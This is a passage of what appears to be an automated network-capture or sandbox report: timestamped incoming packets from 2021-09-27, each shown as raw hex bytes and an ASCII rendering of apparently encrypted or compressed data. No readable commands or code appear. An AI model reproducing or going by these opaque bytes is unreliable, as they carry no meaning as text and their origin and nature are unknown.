e8 3e 50 49 87 8f 46 6a d7 99 0f d1 89 df 52 b7 46 8a 34 b9 e9 ce ba b4 04 fb 4a 82 c0 d3 8d 88 a0 81 4b 97 b5 a2 b9 32 2c d1 62 b2 Data Ascii: u%^N^Hk0(jvaXx\|u\|$%6)H-4Nm{G]sk,lg\|]6i0!"U!}8JsCfEweZ:SiT9^Or/1Q#pg\|kJO1Esc>PIFjRF4JK2,b
2021-09-27 16:55:59 UTC	173	IN	Data Raw: 19 c5 0e e6 7a 16 a1 76 4f dd 2e 6e 59 e3 21 cb 08 89 2d 5b be c0 5b 04 09 26 88 99 50 39 fa 82 b6 31 9b cf ec e4 79 d9 40 11 1a 53 06 63 5e a8 00 21 78 4c 25 06 a3 ac c6 af 68 ca 53 de e5 6f f6 51 c0 c2 07 6e 9d 92 c4 bf 46 03 89 31 58 8c 7c d5 05 1d 99 26 e5 55 d9 11 44 9f e6 7b 83 98 77 16 2e 9f c4 96 49 fd 73 ca 5c 82 dd 39 fb f8 66 d1 49 1f ac fb 6f c1 19 00 a2 c1 a8 2d 34 d1 5e 3a bc 6b 78 83 17 fb d1 bd 44 1f d1 08 da 3e 4c bc 82 c2 e0 95 99 6b 7b 12 2d 48 5a 32 d1 bf 61 0f 43 71 a4 12 54 eb 6c c5 1f 8c e7 ee 67 0f 6a 26 9c aa 39 66 c2 dc df ce d0 7e 72 5b 2b 27 37 b9 44 54 14 dd c0 46 4b dd 2d ce 1c 22 80 d0 e1 ab 47 35 25 28 bf a3 e1 75 40 63 04 f5 da fd 46 cf b2 8a dc 80 ea 4d 51 c1 a8 29 06 d4 0e 28 61 d9 c9 31 b3 91 52 21 7b e5 c0 63 84 b7 22 Data Ascii: zvO.nY!-[[&P91y@Sc^!xL%hSoQnF1X\|&UD{w.Is\9fIo-4^:kxD>Lk{-HZ2aCqTlgj&9f~r[+'7DTFK-"G5%(u@cFMQ)(a1R!{c"
2021-09-27 16:55:59 UTC	175	IN	Data Raw: 3d 92 0d 67 79 e1 ff f4 50 8c 9f 24 ba 9a 76 c4 e3 32 93 d8 9f d4 c2 94 e9 26 56 c1 77 f6 cd 12 d8 8e 5b 0e d4 3b 94 fb 31 45 7f 52 6c d1 57 8a 2a 2e 4d 7c 37 f0 9d 54 56 84 31 bd 53 8f 9b f4 06 a6 9b 2e ac 9e e7 dc 17 1b 38 18 e6 5e 70 25 d1 78 2b d1 2a 57 62 fd e9 d1 c0 32 38 f5 21 eb 12 02 9b 81 de 68 10 9e 11 e9 f5 73 25 f2 d3 a8 95 32 e1 fa 53 89 81 fa d3 c6 64 99 58 d1 d5 8e 5b 3c 65 c3 33 cc 4b 16 80 b5 53 fb 22 d3 c9 44 ae 48 a6 f4 42 55 06 a2 ee 32 b0 85 7b a2 3e 8b 75 ed 31 4d 44 3a c0 ba 11 2a 20 5a 98 80 ca 67 77 fe 13 d8 a6 43 f5 6d b0 e4 59 d4 b8 73 7b e7 d6 0e ce 92 ad ab 72 1a c5 5a 27 a3 e4 a4 a9 00 d5 ad 75 bd 83 f2 3e 4c 9c 00 5d cd ca e6 bc 73 90 72 db 49 c3 9e 6e 50 b7 e8 85 53 61 48 3b 8e 16 96 a5 f9 77 ed 0d 60 89 0e 47 ec 20 c7 b1 Data Ascii: =gyP$v2&Vw[;1ERlW.M\|7TV1S.8^p%x+Wb28!hs%2SdX[<e3KS"DHBU2{>u1MD:* ZgwCmYs{rZ'u>L]srInPSaH;w`G
2021-09-27 16:55:59 UTC	176	IN	Data Raw: 17 39 84 22 92 34 6a 1b e4 7b fb dd fd fa f9 02 d5 af 1b d1 6c eb f7 3e 79 a2 3d a9 2c d1 ce b8 39 c1 9c df b5 30 82 d1 4d 4a 1e 5f 0c 3c 3a 31 2b 3f ac c7 ec 99 57 74 13 2f 69 bc 26 ac 28 b7 92 64 0b a4 6a 58 ea d4 c1 f9 8f 9a 79 94 b9 4d 5c 9c e6 34 67 f7 fd 39 cd ad e9 7e 8c 0c 5d 37 61 4f 55 f6 d9 26 45 36 2a 03 19 3b 58 80 48 d6 aa d8 14 c3 2b c2 34 a4 9e 67 19 04 11 ed fc 55 ca 54 89 a1 17 8b 4d 75 bb a8 e1 35 d5 71 0d 87 da b4 a6 ce 8e 76 5b 7b c5 ff 62 b9 b2 c4 d6 bb 81 89 8d b3 b2 7a 82 d4 ff ea 7f 70 21 ca cb bd 29 4a 13 c8 55 74 00 2c fc fe 34 c2 c3 7d ee cb 10 a4 f9 9d 5f 6f 4d 25 cb db bb 11 59 8c 1a 96 e2 b2 8d 82 12 37 b8 eb a1 84 da d5 6f 52 30 68 0a e3 a3 81 fc 95 ce dd e3 4c 11 76 fb 55 e9 d3 31 b8 82 9d 7c d9 d5 84 ac 28 f6 38 48 c4 c8 Data Ascii: 9"4j{l>y=,90MJ_<:1+?Wt/i&(djXyM\4g9~]7aOU&E6*;XH+4gUTMu5qv[{bzp!)JUt,4}_oM%Y7oR0hLvU1\|(8H
2021-09-27 16:55:59 UTC	177	IN	Data Raw: 01 7d 80 ab d4 6d d8 12 94 f5 e7 49 f3 32 be 73 33 94 3e f0 46 83 87 d3 66 08 98 33 d2 33 8f 2e b7 87 85 30 b1 4b c2 ec b4 4d ec c4 d2 bc d3 6e 87 a4 89 42 88 6a a3 7b 31 56 81 1e b2 1e e3 70 90 31 b1 28 3b 88 ad f7 3e 5d cd bf e7 e4 1a 77 4a 7e d9 79 40 13 fe cd e7 1e 40 96 0e 7b e8 bc 0f 41 8a 4b 3f 0f 8d ac ac 27 de e4 80 c3 01 dc a9 93 29 fe 05 b2 ba 9c 7d 5d f4 a0 e7 e7 69 76 e6 a6 8d 69 68 6e 2d b7 a7 ef 52 52 4c dd 1a 6b bb 6e 0f 77 90 0d 06 e3 0f 5d f7 c6 53 cc d7 5f 18 35 ab 39 4b 24 da 20 64 83 d5 b8 2a 5a 95 4b 58 63 c5 7a 36 00 76 8c 53 aa 47 bf 3f 6e 0a c0 89 89 3c b7 9c 69 4e eb dc 27 d7 e4 4d 0c 9f f9 d1 be 8c 72 c6 0d aa f9 62 15 97 d8 75 2e be 99 ce ba 71 5e 60 3c 44 64 2e eb b7 c6 35 4c 3c 22 7c 9b 2b 8b 83 5a 29 65 0e e2 87 10 a0 f9 c5 Data Ascii: }mI2s3>Ff33.0KMnBj{1Vp1(;>]wJ~y@@{AK?')}]ivihn-RRLknw]S_59K$ d*ZKXcz6vSG?n<iN'Mrbu.q^`<Dd.5L<"\|+Z)e
2021-09-27 16:55:59 UTC	178	IN	Data Raw: e3 f7 30 ea 3d 38 18 d0 6b 8f ff f3 46 33 66 25 ba 0c 76 94 f8 c4 b4 65 9f 32 d4 22 cb 26 56 57 77 f9 c2 e4 ff e0 5b ce c2 d9 6d fa 31 d3 7f d1 67 13 58 be 2b 8c 5b 6a cd f1 9d c2 56 b4 2e 6a 5c 32 9b 88 11 84 61 2f ac 08 e7 75 1c 57 33 2c e7 01 67 73 2b 79 2b 47 2a e7 7d ac e2 6c c0 0c 2f 97 db ea 12 94 9b 76 d5 32 11 aa 10 f0 e2 e5 df f3 d3 3e 95 85 f0 d8 52 34 81 02 c4 64 9e 98 58 47 d5 93 57 51 44 f7 32 17 5c c0 7a b4 53 6d 22 3f db 35 8f f5 a6 4e 55 8a fc a3 ee a4 b0 cb 67 54 19 8e 72 79 26 b3 be 3b c0 2c 11 fe 3f 2b 9b 8a e6 10 6f 48 e8 d9 a6 d5 f5 80 b4 01 5b 2d 94 25 63 ea 2a 0f ce 04 ad d1 52 6b c6 c1 25 93 fc 82 55 01 d5 3b 75 8d 87 e3 3a d7 9e 13 45 f6 36 e7 bc e5 90 c7 fa 6b c0 05 6c bd af a5 79 52 61 de 3b c8 12 5d a0 62 75 21 15 04 75 0f 47 Data Ascii: 0=8kF3f%ve2"&VWw[m1gX+[jV.j\2a/uW3,gs+y+G}l/v2>R4dXGWQD2\zSm"?5NUgTry&;,?+oH[-%cRk%U;u:E6klyRa;]bu!uG
2021-09-27 16:55:59 UTC	179	IN	Data Raw: 02 15 40 1f 16 c8 9d b9 90 e3 48 70 e0 79 fb 4b fd da fe 80 d3 34 19 67 4e 6c f3 3c 79 34 3d 45 2e d2 d3 23 3b 50 be 7c b1 32 82 47 4d 38 17 37 0a a7 38 42 08 81 a8 c5 ec 0f 57 45 11 cb 4a 27 24 e1 0b 62 96 66 0b 32 6a ee fe 8a c7 62 8d b5 5a 64 bd 4f 5c 0a e6 73 65 24 de a2 cf a4 ca 71 89 0e 5d a1 61 b1 41 f2 df bd 47 dd 09 29 1c 39 58 16 48 bb a8 a1 37 58 29 07 17 e2 9b 65 19 92 11 b7 e9 a0 cd cf 8b 06 34 e9 48 77 bb 3e e1 86 d6 e8 2a 1c d8 35 85 b0 8b 74 5b ed c5 a6 74 62 b5 5f d4 d8 a5 13 88 b1 b2 ec 82 1b fc 04 51 eb 23 f7 ef 0b 2c 48 13 5e 55 ee 17 ad fb 65 36 dd e7 af eb c9 10 32 f9 88 5c 69 7f be c9 22 9f f8 5c 8e 1a 00 e2 12 9a fb 15 ac ba 30 85 81 dc d7 6f c4 30 53 09 0f 90 1a fe 20 ea fd e5 4e 11 e0 fb 75 fe fc 36 23 80 0a 58 e5 d3 86 ac be f6 Data Ascii: @HpyK4gNl<y4=E.#;P\|2GM878BWEJ'$bf2jbZdO\se$q]aAG)9XH7X)e4Hw>*5t[tb_Q#,H^Ue62\i"\0o0S Nu6#X
2021-09-27 16:55:59 UTC	180	IN	Data Raw: 95 c9 d8 f4 00 e6 82 3f fa 11 d7 10 94 63 e7 e8 f5 35 aa e8 31 e2 11 52 49 81 87 45 66 05 aa be d3 a8 8d 7f 98 44 8a 32 b1 dd c2 1b b2 b5 f9 5f d0 8f fc 8f 88 a6 89 d4 88 09 97 08 30 cd 83 0c 9d 19 f3 72 90 a7 b1 f1 3a 26 b8 6c 3c b0 e2 9b f7 e6 1a e1 4a 66 df 40 41 88 fc 02 c8 5b 50 94 0e ed e8 88 0e 28 90 d0 3d a1 a2 c6 bc 25 de 72 80 57 06 33 af 08 2b 76 2a 3a aa 9e 7d cb f4 e2 e6 5a 71 ed e4 cc bd c0 78 6c 2d 21 a7 41 55 87 4a 46 18 2f 8b a0 1f 75 90 9b 06 74 0d a1 ee 5d 51 eb e7 b0 08 37 ab af 4b 0b dd a1 62 18 d7 be 1a 56 84 49 58 f5 c5 91 34 0e 6b 17 51 4b 77 92 2e 6c 0a 56 89 f8 35 c0 9a f2 4c 2b ec 75 c6 e6 4d 9a 9f c5 d3 5d af e9 c4 af 9a 8a 73 17 97 4e 75 9b aa c4 c8 21 73 22 51 ad 55 66 2e 7d b7 84 37 92 1f b9 7e c4 1a 3c 92 58 29 f3 0e 1f 93 Data Ascii: ?c51RIEfD2_0r:&l<Jf@A[P(=%rW3+v*:}Zqxl-!AUJF/ut]Q7KbVIX4kQKw.lV5L+uM]sNu!s"QUf.}7~<X)
2021-09-27 16:55:59 UTC	182	IN	Data Raw: 0b bb 35 1c d9 45 2f df c0 47 4b bc 2b c9 1e be 82 35 40 9b 7c 37 25 29 bf a2 e0 d2 60 ff 06 6c 7b ae 7d cd b2 8b dc 81 eb ed 5a 5d aa 9c a3 a6 35 2a 61 d8 c9 30 b2 f8 71 bd 79 b8 69 f6 bf b5 22 d4 c6 17 11 64 81 54 78 ff 42 4a d9 51 96 23 b7 5d 09 87 4d f5 ca 28 e2 d7 70 fb 18 36 bf 55 ad fd f8 f6 a6 84 0b a6 b4 7f c3 c9 a6 2d fa 89 8b fc 94 9f 24 97 21 15 d1 ba 96 37 83 9c e6 89 50 4d fe 31 d5 90 67 fe e8 58 ff f5 48 f7 74 86 c3 b4 26 36 5e 80 e0 ea e7 f8 b4 4a 2a 8b ae 36 cc fb d5 3a bb 3a f0 c7 c0 b1 fa 6f 63 f8 08 bf 6c 99 26 9f 4e 59 9c c3 ce 97 56 e0 3d 9d ef 1b e8 80 c0 bd 58 ae 15 c1 c2 5e 25 a9 30 7d 6a 08 24 20 36 37 5a 9c 83 47 e7 56 17 5d ec ff 3a 8d b8 c2 92 d9 a9 88 16 e7 eb ae f7 48 bf 9b 10 e9 34 45 90 b2 16 12 cb 1f 07 31 0f 91 0f a8 6f Data Ascii: 5E/GK+5@\|7%)`l{}Z]5a0qyi"dTxBJQ#]M(p6U-$!7PM1gXHt&6^J6::ocl&NYV=X^%0}j$ 67ZGV]:H4E1o
2021-09-27 16:55:59 UTC	183	IN	Data Raw: 79 95 2a 4a 89 90 ad 3d 72 1b c4 83 21 38 e6 fd 55 66 92 af 75 2b 83 93 38 ce 85 9b 5f 89 36 6e fb 71 90 e4 db 1b c2 0b 68 cb b5 da 79 f9 26 4a 3b 18 16 2d a2 d3 55 76 0f 7b 75 c2 00 ee 20 51 b1 41 b2 95 33 4d 3b 36 b2 34 00 62 65 d7 c5 bc 54 90 68 be 61 b8 ec 26 a0 6b 6a 51 d7 d1 90 e9 68 ec c2 f4 1f 0d 6e 9a 8f 4c 96 4a 77 82 c7 ab 0e e2 6f 83 f3 af 94 c4 70 3c 88 82 13 71 da 08 b8 ca 6a c8 5c 73 23 f6 af 34 42 c8 e9 ca 50 a3 3c 1f c4 7e e6 bd 3e b0 5d cf 67 73 74 30 bd a6 1f c7 30 0d 77 59 88 ca 78 36 9b 0f 96 6b 57 90 1b b5 98 fa 1c 23 0c 8d 7a 7b e8 05 6b a9 2e a4 c9 4a 0c 2d 0a f2 2d d0 f6 45 7f 71 09 10 18 ee 55 df f8 f9 b6 9b d3 57 c8 92 79 93 d0 ff 2a b5 04 1f 5e 01 4f b9 5c 3b 25 20 32 03 c3 49 6a b1 53 a9 aa aa d2 29 c0 cc 95 76 ac 74 c6 c4 46 Data Ascii: yJ=r!8Ufu+8_6nqhy&J;-Uv{u QA3M;64beTha&kjQhnLJwop<qj\s#4BP<~>]gst00wYx6kW#z{k.J--EqUWy^O\;% 2IjS)vtF
2021-09-27 16:55:59 UTC	184	IN	Data Raw: eb b8 43 a6 f9 0b 5f 19 7d 33 dc 40 b9 87 5c 1d 49 94 e2 24 8d 8b 17 81 b9 70 a3 fe dc 62 3c 50 30 fe 0a 7f 92 97 e8 0e cc 82 e5 98 42 74 fb c3 e9 8c 34 24 83 06 7e 9a d3 71 ff 2a f6 ae 48 66 f9 f8 2d 5d ae 8d fd df 03 fa 12 63 58 a2 bd c8 9a c0 0b 33 74 95 71 ce ea 56 21 97 9f 74 0c 0e 14 bd d9 02 1c 15 bc c2 bd 8f ab de 7e 8c 9c 59 d8 7c 85 5a e1 83 42 4c 54 06 44 0a 6b 47 df 19 70 92 a4 a9 ae bd e5 f3 aa 11 dc c2 0a d4 5b 34 38 90 fa bd 10 6e 05 e1 a5 72 34 ea 1a 6f 7d 09 b3 00 54 ce a5 bb 01 48 9b 17 ab d1 b9 a1 fc bb e3 76 2b 9a 3f 89 0e 11 3c f0 ff 89 50 a7 66 53 be 7c 74 bf fb 6a e3 1a 9f a9 c2 b6 cb e9 76 27 75 8d d5 6b a8 9f 5b 73 d4 4d 6d 5a 35 a3 7d 2c 64 7e 0f c1 2b 53 4d fe cd e6 bc b2 54 fa 39 21 0b 4d 9b 89 06 10 61 e5 a8 78 e5 a2 1f 7f 64 Data Ascii: C_}3@\I$pb<P0Bt4$~q*Hf-]cX3tqV!t~Y\|ZBLTDkGp[48nr4o}THv+?<PfS\|tjv'uk[sMmZ5},d~+SMT9!Maxd
2021-09-27 16:55:59 UTC	185	IN	Data Raw: 55 c2 89 1f 3c b0 98 7a 4d 70 de 0a c6 2a 12 0e 9f 6f d1 2d ad cd c3 96 a8 f5 73 f9 c8 da 75 b8 be b4 ca 3b 71 c5 62 d2 55 76 4e e9 b7 50 35 e2 1d c0 77 00 29 43 92 6a 49 67 0e 74 87 63 a4 81 c5 d6 99 0a 81 fb 4c 78 4b 9b d7 4f 71 41 b5 9d 23 e5 b6 19 c5 0f f0 9d a1 a2 07 6a a9 2e 32 d9 f2 20 cb 08 8f 3d dc be 47 7f 71 19 96 1b 98 50 39 ea 94 b2 a6 9a 55 c8 b2 79 05 d0 10 1a 73 04 62 5e 5f 07 9b 5d 3b 25 b6 33 8d c4 af 68 cc 43 39 e1 a8 d2 29 c3 7a 97 6f 9d 92 c4 99 42 f4 8f 22 5a f5 7f 11 91 1c 98 06 e1 53 d9 d5 47 b5 c7 02 83 40 f1 07 2d 9f c4 90 59 7a 71 e0 79 fb cd ed 68 f9 66 d1 59 09 af 6c 6e f3 2c 69 a1 3d 3f 2c 24 c1 5a 3b bc 9c 7e 91 33 82 d1 4d dc 3e d3 08 da 38 4c 0b 84 a8 c5 ec 9b 57 e3 13 2d 48 5a 04 d3 28 60 96 66 2b a7 6a ce ea 6c e5 1d 8d Data Ascii: U<zMp*o-su;qbUvNP5w)CjIgtcLxKOqA#j.2 =GqP9Uysb^_];%3hC9)zoB"ZSG@-YzqyhfYln,i=?,$Z;~3M>8LW-HZ(`f+jl
2021-09-27 16:55:59 UTC	187	IN	Data Raw: d3 27 5f d1 16 49 ed 25 1a 32 31 8d 46 60 25 41 03 89 71 79 80 db db 22 1e 9d ec f0 3b ed 97 e4 90 3d a8 91 3b 78 e8 7f f6 f7 a0 43 17 ae 37 d8 89 59 28 a1 ca 0f 22 0e 0c 85 0f 7d 64 34 08 6a 97 05 9c b2 5d a2 34 e8 04 3a d0 58 a0 ec 08 2b f4 51 7d d4 d6 dd 35 c0 f3 07 8e 88 32 87 24 0d 8a 96 c1 ca 23 8c 0e 79 ab 0b 20 fb 09 a2 c2 76 f2 c5 27 ee 9d 52 71 c4 fe ad fa 30 47 99 5d 2d f4 53 c1 0f 7e 43 6c d4 f3 65 70 42 83 18 8e f4 61 81 8d 2f 84 2b 3c 8c 9a c6 dd 5e 81 14 55 e6 21 bd 42 02 7d 12 d3 ef 43 47 4e 71 10 50 44 0a 91 9a e8 62 0b ac 86 b7 d5 74 c2 2d 90 3c e7 ac d9 8b ac 5c 31 a6 33 19 48 48 87 16 61 b0 99 91 d1 5a 80 0e b3 0f 88 77 b3 3b c6 23 b6 4a f2 52 d4 90 d1 9a bc d0 8d 0b 8a 4b 8a 6e 36 d1 81 b8 9f 8e f7 1b 92 59 83 0f 3f 51 bb ee 28 96 c9 Data Ascii: '_I%21F`%Aqy";=;xC7Y("}d4j]4:X+Q}52$#y v'Rq0G]-S~ClepBa/+<^U!B}CGNqPDbt-<\13HHaZw;#JRKn6Y?Q(
2021-09-27 16:55:59 UTC	188	IN	Data Raw: 21 f2 0c 9f 08 df bf 0e 7b d7 3b 3a 1c c9 54 a1 ff 38 b2 f7 9e 15 c2 5e 73 54 d4 b3 0e 80 0c 33 5a 7a 23 61 56 52 21 d0 25 4d cc ee 6c dc 76 3a e3 f9 d6 8f f2 e6 91 fe 9c 9e d7 b3 4d c5 8e f3 54 2e 7e 20 90 69 b8 1a ee fa d9 fe 4c aa c8 13 82 57 cd d2 2b fe c5 a4 46 22 79 91 7d 6f ee 27 65 75 66 c1 6c 0a ac 75 6a e3 19 6a a2 1c 3b 3c 11 c2 5e 0a b8 4e 6d 9f 33 0e d1 42 d4 de da b9 da cf 4c cb 88 a1 c1 75 aa b0 e9 3a 2c ef 7d 34 da a9 64 86 43 cb a4 eb ca b4 7a 01 1c a4 e6 15 68 a5 43 65 9e f3 90 c0 ca 6d de df f5 29 73 c8 0f 28 13 38 d5 c4 10 06 ed 20 47 43 28 4b 15 d8 8c b9 42 29 5d a5 29 c0 bd 38 ce 33 60 b8 00 47 4b 6a 4a 66 b2 50 f1 89 e7 e1 73 97 a2 b3 ae 89 0e 38 44 7d ce fa b2 5e 5c 62 71 7c 6d 17 b7 30 2f 6d c2 d8 01 05 bc 7b 7e cd 59 5b ef 9a 92 Data Ascii: !{;:T8^sT3Zz#aVR!%Mlv:MT.~ iLW+F"y}o'euflujj;<^Nm3BLu:,}4dCzhCem)s(8 GC(KB)])83`GKjJfPs8D}^\bq\|m0/m{~Y[
2021-09-27 16:55:59 UTC	189	IN	Data Raw: 77 04 f5 1e b5 e4 9f cd d8 7e cd 22 57 56 76 51 d2 06 fc 0a 5a ee d3 df 6c 6d 30 a5 7e d0 62 e5 7f d0 2b 02 49 4d e8 dd 88 3d 52 fd 2e 16 45 c6 9d 0a 0a cf 60 be aa 8e c2 1f 1f 20 37 d2 eb 6a 71 80 2b 7d 23 7f 31 cd 6c 5a c5 02 c0 d6 3e 0c f9 27 09 9b 9d 69 c5 00 08 7e 16 33 ee ec c3 42 d5 b8 b0 c0 eb 97 56 35 92 96 cf 37 9a 47 4b ff d4 9c 55 73 61 c4 2e e0 4f 5c 48 05 57 aa 26 41 c4 62 89 31 a0 99 67 dc e0 82 ef 22 95 43 63 93 1a 72 59 b5 35 78 b8 93 ce 92 12 1d 21 1d bf e5 fb 3b 76 9a ce c3 bb ba f5 12 96 3c 5b f1 92 1e 5e fb 2a 66 ce c1 9e 48 6f 7c c4 2e 2a a4 f9 44 55 11 f0 be 75 9a 82 91 36 e3 9f b9 5d 03 04 de b6 b7 90 eb d3 4d c9 f4 6c 40 ad 67 72 e3 60 48 21 3d 12 6a a4 cd 73 2b 10 ef 73 1f 62 2c 20 88 b7 ef a1 cd 2a 72 3f 3b a7 14 43 a9 65 c7 e0 Data Ascii: w~"WVvQZlm0~b+IM=R.E` 7jq+}#1lZ>'i~3BV57GKUsa.O\HW&Ab1g"CcrY5x!;v<[^fHo\|.DUu6]Ml@gr`H!=js+sb, *r?;Ce
2021-09-27 16:55:59 UTC	191	IN	Data Raw: d7 f6 d1 2d 18 ed 5c 4b f7 3d 7d 2c 15 1b 2d 4d d5 f8 09 00 98 4f b5 36 94 31 47 bd 1f dd 1b c1 12 fd 2b 88 b3 c8 ee 98 5f 88 03 11 62 8b 24 b6 3d 29 97 b7 0b b4 4f 0e ea ed c4 c9 82 b9 7a 3f bc 13 4c c3 cc bb 6f d2 f9 cc cf f1 e1 63 ac 1d 5d 7b 60 21 71 d3 da ac 46 e1 04 bb 1c 28 59 ec 50 c3 ac 56 34 04 05 7a 31 8c 9a 24 29 21 15 0a f9 22 d5 c5 a0 bd 15 12 41 9d b9 79 e3 3a e6 46 04 48 d0 d9 83 72 8b 00 5a ec c4 89 63 f0 b6 b5 d5 67 86 65 89 26 b3 e7 85 23 ff ba 61 19 0f 8e c3 19 09 d0 10 89 5d f2 25 58 f9 51 3e af e6 6d eb c7 10 a9 f9 0b 5f 81 7d d2 c9 a6 bb e8 5c 9b 1a aa e0 2c 8d 04 17 ed b8 98 a1 ae dc d7 6f 5a 30 bb 0a 16 9b 69 fe a1 ce 99 ef 4c 11 3b fb b8 e3 12 34 0f 80 52 76 ef d3 d3 ac de fc a6 48 a9 f9 2e 30 a9 ac 79 fd fa 55 f6 12 ee 58 34 bd Data Ascii: -\K=},-MO61G+_b$=)Oz?Loc]{`!qF(YPV4z1$)!"Ay:FHrZcge&#a]%XQ>m_}\,oZ0iL;4RvH.0yUX4
2021-09-27 16:55:59 UTC	192	IN	Data Raw: a8 55 30 c2 3e 15 49 41 86 c0 66 83 98 b8 d0 fe 8d 16 b7 46 88 21 b1 56 c2 7a b6 78 fb 67 d0 e2 d1 56 83 e3 89 62 8b e7 a1 ab 32 71 80 88 b2 01 f1 93 93 da b1 96 39 23 be ca 37 65 cd 5a f2 4d 08 32 4a 41 de d5 54 f6 fe 79 e0 2a 47 97 0c 92 ef 59 18 cd 90 a4 35 01 9a c7 be 66 d4 67 80 10 01 f1 a1 be 39 c6 05 f8 bd 8d 70 18 f4 b6 d5 1f 61 5e c4 7b bf 61 6a b7 0d b8 a7 34 5a 70 48 6c 10 05 bb c2 17 60 90 6d 0e 6c 0f b2 e4 3b 51 49 df ad 08 cf a3 18 4b ac d3 68 60 32 df f4 2a 03 8c 7a 58 34 cd db 36 f6 60 53 51 c9 4e ab 2e 72 03 fd 89 01 35 19 98 91 45 db dc 20 ce a9 4d 5b 97 3e d1 ec a5 c7 c4 27 a2 fc 73 ef 9f ae 75 40 b6 a0 ca 7a 7d d5 62 b1 5c 7c 2d f5 be 51 35 c3 33 c4 7e b2 2b 3e 92 58 29 1c 0f 7c 87 f5 a4 65 c6 ba 9b ed 81 0a 2c ca 4b 81 d6 f7 68 65 91 Data Ascii: U0>IAfF!VzxgVb2q9#7eZM2JATyGY5fg9pa^{aj4ZpHl`ml;QIKh`2zX46`SQN.r5E M[>'su@z}b\\|-Q53~+>X)\|e,Khe
2021-09-27 16:55:59 UTC	193	IN	Data Raw: 40 ab 47 14 24 3e bf 36 e0 b9 64 00 04 10 7b df 47 d6 b2 89 dc 33 ea 53 77 ba a8 c4 a2 ce 0e 2a 61 fe c8 bb b2 8a 74 7c 7a d8 69 60 84 9f 23 cb c6 80 11 a1 b0 ad 7a 80 42 d5 e3 72 96 22 b7 e0 08 0d 48 11 c8 7b e3 23 4b f8 18 19 be e0 ad e9 c9 20 a5 dc 0b 5e 8f 4c c2 ec a6 b9 fa 6e 8f 3d 96 e3 24 be 1c 30 d1 b8 96 95 82 f5 d7 6e 52 05 ff 23 e9 90 67 c8 e9 e5 ff e4 4e 26 77 d0 c3 eb 1a 0c 5f ad e0 7d e7 ea 87 81 28 f4 ae 72 f1 d6 d5 3b bb 97 f1 d2 c6 55 f8 2e 62 69 34 bc 6c a4 27 38 4e 76 af 1b cd d9 56 20 01 a0 ee 28 e8 14 c0 99 5f 7d 17 bd c2 fc 18 9e 30 7f 6a dc 25 ef 02 d0 58 a2 82 75 da 56 17 19 ed 50 3a de b9 61 91 9d a9 ac 2b ac ea 95 f7 df bf 40 17 34 36 3a 90 b1 2a 2d cb 1e 07 eb 0e 09 0e 4c 6d 30 08 8c 96 55 8c ef 5c 3c 35 99 12 b1 d2 f8 a1 fd 2d Data Ascii: @G$>6d{G3Swat\|zi`#zBr"H{#K ^Ln=$0nR#gN&w_}(r;U.bi4l'8NvV (_}0j%XuVP:a+@46:-Lm0U\<5-
2021-09-27 16:55:59 UTC	194	IN	Data Raw: fc 0c fa 46 f1 57 db 0c 12 bf 7c 49 e3 45 6b ec 2e a1 38 9c c5 e8 2f 78 88 ac a5 ee 96 23 59 d4 0b be 13 a7 23 c0 35 96 88 fe cc d9 77 d9 30 2a 6c ca 01 7b 00 d1 be b3 23 bf 43 65 c3 5c ee 7c a1 e7 78 43 bd e4 7c 9e e6 e2 66 e5 dc 30 d4 d5 e9 37 88 69 5d 28 6d d8 55 57 dc ab 47 2c 2b 2a 1c 7a 59 ed 48 a3 af 46 35 25 28 c6 34 b1 aa 67 19 04 10 00 fc d5 ff b0 8b 9a 16 96 48 e0 ad aa e1 a3 d4 71 28 e2 c8 cb a6 b2 8a f5 5b be f7 6b 62 84 b6 a1 d4 d4 a6 16 88 b1 b3 ff 82 d8 ce e5 53 d5 22 30 cb c5 2b 4a 13 8b 54 6b 00 4a c9 1b 36 fc c2 26 eb 47 21 a7 f9 0b 5e 3c 7d 70 c3 ae bb b9 5d 3b 1a 15 e3 25 8d 1d 16 10 ba 6b 8c 85 dc d7 6e 91 30 13 27 ef 92 67 ff 2d ce 3e ef 48 11 76 fa 04 e9 54 1f 58 80 e0 7d 2e d3 2e 84 2e f6 ae 49 3b f9 a3 20 bd ac f0 fc 0b 57 8e 08 Data Ascii: FW\|IEk.8/x#Y#5w0l{#Ce\\|xC\|f07i](mUWG,+zYHF5%(4gHq([kbS"0+JTkJ6&G!^<}p];%kn0'g->HvTX}...I; W
2021-09-27 16:55:59 UTC	195	IN	Data Raw: 93 ee c5 d3 e0 d8 70 aa 6d 18 08 b3 b2 e5 66 f9 fd 2c 8e 80 d9 15 8f 46 b6 7f de 2f b7 16 d1 6d fb 60 91 c1 90 cc 88 e2 c8 42 cd bd a3 a8 73 b0 c4 22 b2 53 b2 72 f1 70 b1 dc 7a c0 d9 50 3c 44 8c 99 b0 83 6e 3a 25 8c ac ca 26 b3 95 dc 82 17 31 f9 6b 3a e8 4c 4e ce f5 ec 3d 1a cc c4 fb 40 aa b2 ef 39 74 b8 c8 3c 45 e5 6a 4a c7 ff 09 34 9b 58 a6 bc 31 d2 e4 98 cf c2 3c 2e 2d f2 e5 79 14 23 48 7c 5a 16 f3 e0 1f 14 d2 0d 64 37 0f 24 ae 20 35 f3 d7 d7 4a 37 cd 7b 4b d5 98 47 08 27 d7 8d 67 15 c7 49 1a 20 c5 af 75 e8 2d 29 51 92 04 90 68 2f 0a 87 ca 1f 74 65 98 ee 0f 96 be 34 c6 85 0e 0c fb 2c d1 de ee 94 a2 33 aa ef 30 17 ff 9b 75 fa fa 22 89 18 73 67 24 af 10 22 2e ad f3 50 72 30 1d 8c 3a e6 4c 5b e6 07 4b 0c 60 10 ee 9b c3 5c a8 5e fd 1e e6 da 5e 1b 3f f2 b8 Data Ascii: pmf,F/m`Bs"SrpzP<Dn:%&1k:LN=@9t<EjJ4X1<.-y#H\|Zd7$ 5J7{KG'gI u-)Qh/te4,30u"sg$".Pr0:L[K`\^^?
